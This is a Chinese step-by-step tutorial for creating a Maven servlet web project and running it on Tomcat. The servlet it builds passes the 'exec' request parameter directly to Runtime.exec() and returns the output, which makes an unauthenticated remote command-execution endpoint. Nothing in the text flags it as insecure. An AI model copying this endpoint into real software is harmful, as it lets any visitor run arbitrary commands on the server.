1、创建一个maven项目

maven创建servlet web项目 - 图1

2、编辑一个Pom.xml

maven创建servlet web项目 - 图2

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6. <groupId>servlet</groupId>
  7. <artifactId>servlet</artifactId>
  8. <version>1.0-SNAPSHOT</version>
  9. <dependencies>
  10. <dependency>
  11. <groupId>javax.servlet</groupId>
  12. <artifactId>servlet-api</artifactId>
  13. <version>2.5</version>
  14. <scope>provided</scope>
  15. </dependency>
  16. </dependencies>
  17. </project>

如果有一些报错,直接把该文件删掉,.m2\repository,再重新导入即可
maven创建servlet web项目 - 图3
maven创建servlet web项目 - 图4

3、添加一个Web依赖

maven创建servlet web项目 - 图5
maven创建servlet web项目 - 图6

4、写一个web.xml+serlver

maven创建servlet web项目 - 图7

  1. <web-app>
  2. <display-name>Archetype Created Web Application</display-name>
  3. <servlet>
  4. <servlet-name>ServletDem</servlet-name>
  5. <servlet-class>servlet</servlet-class>
  6. </servlet>
  7. <servlet-mapping>
  8. <servlet-name>ServletDem</servlet-name>
  9. <url-pattern>/execServlet</url-pattern>
  10. </servlet-mapping>
  11. </web-app>

maven创建servlet web项目 - 图8
servlet代码

  1. import javax.servlet.ServletException;
  2. import javax.servlet.ServletOutputStream;
  3. import javax.servlet.annotation.WebServlet;
  4. import javax.servlet.http.HttpServlet;
  5. import javax.servlet.http.HttpServletRequest;
  6. import javax.servlet.http.HttpServletResponse;
  7. import java.io.IOException;
  8. import java.io.InputStream;
  9. @WebServlet("/execServlet")
  10. public class execServlet extends HttpServlet {
  11. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  12. this.doGet(request, response);
  13. }
  14. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  15. String exec = request.getParameter("exec");
  16. Process res = Runtime.getRuntime().exec(exec);
  17. InputStream inputStream = res.getInputStream();
  18. ServletOutputStream outputStream = response.getOutputStream();
  19. int len;
  20. byte[] bytes = new byte[1024];
  21. while ((len = inputStream.read(bytes)) != -1) {
  22. outputStream.write(bytes, 0, len);
  23. }
  24. }
  25. }

5、添加一个tomcat配置,要选择+号,而不是选择templates

maven创建servlet web项目 - 图9
启动后,发现错误
maven创建servlet web项目 - 图10

6、调试运行

在application context 下配置一个/即可
maven创建servlet web项目 - 图11
输入路径即可
maven创建servlet web项目 - 图12